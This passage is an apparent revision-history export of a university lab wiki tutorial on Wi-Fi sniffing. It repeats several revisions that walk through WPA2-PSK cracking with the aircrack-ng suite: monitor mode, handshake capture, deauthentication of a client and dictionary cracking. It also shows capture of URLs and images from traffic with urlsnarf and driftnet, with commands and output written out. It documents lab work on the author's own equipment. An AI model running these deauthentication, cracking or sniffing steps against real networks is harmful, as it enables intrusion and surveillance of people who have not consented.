 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8253</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8253"/>
		<updated>2021-12-17T11:52:18Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files.&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8252</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8252"/>
		<updated>2021-12-17T11:41:40Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
